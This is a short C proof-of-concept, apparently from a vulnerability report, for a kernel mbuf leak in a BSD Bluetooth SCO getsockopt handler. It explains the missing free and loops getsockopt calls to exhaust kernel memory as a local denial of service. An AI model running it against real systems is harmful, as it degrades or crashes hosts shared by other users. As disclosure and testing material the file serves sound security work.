/*
 * DF-0709 PoC - sco_ctloutput PRCO_GETOPT mbuf leak (local DoS).
 *
 * Bug: sys/netbt/sco_socket.c:111-121 allocates an mbuf for the getsockopt
 * result via m_get() but never frees it on the success path. The inline
 * comment at :119 ("XXX There are possible memory leaks (Griffin)") flags it.
 * For SO_SCO_MTU, sco_getopt() returns sizeof(uint16_t)=2 (non-zero), so the
 * success path is taken every call -> one mbuf leaked per getsockopt().
 *
 * Compare PRCO_SETOPT at :123-135 which does m_freem(m) at :134 -- GETOPT is
 * missing the equivalent free.
 *
 * Preconditions: Bluetooth stack loaded (kldload netbt.ko -- an admin action
 * taken to enable Bluetooth; once loaded ANY local user can trigger this).
 *
 * Build: cc -o sco_mbuf_leak sco_mbuf_leak.c
 * Run:   ./sco_mbuf_leak [iterations]   (default 50000)
 */
#include <sys/socket.h>
#include <sys/types.h>
#include <netbt/bluetooth.h>
#include <netbt/sco.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char **argv)
{
    long iters = (argc > 1) ? atol(argv[1]) : 50000;

    int s = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_SCO);
    if (s < 0) {
        perror("socket(AF_BLUETOOTH,SOCK_SEQPACKET,BTPROTO_SCO)");
        fprintf(stderr, "(is netbt.ko loaded? kldload netbt.ko as root)\n");
        return 2;
    }

    uint16_t mtu = 0;
    socklen_t len = sizeof(mtu);
    long ok = 0, fail = 0;
    for (long i = 0; i < iters; i++) {
        len = sizeof(mtu);
        if (getsockopt(s, BTPROTO_SCO, SO_SCO_MTU, &mtu, &len) == 0)
            ok++;
        else
            fail++;
    }
    printf("iterations=%ld getsockopt_ok=%ld getsockopt_fail=%ld last_mtu=%u\n",
           iters, ok, fail, (unsigned)mtu);
    close(s);
    return (fail == iters) ? 3 : 0;
}
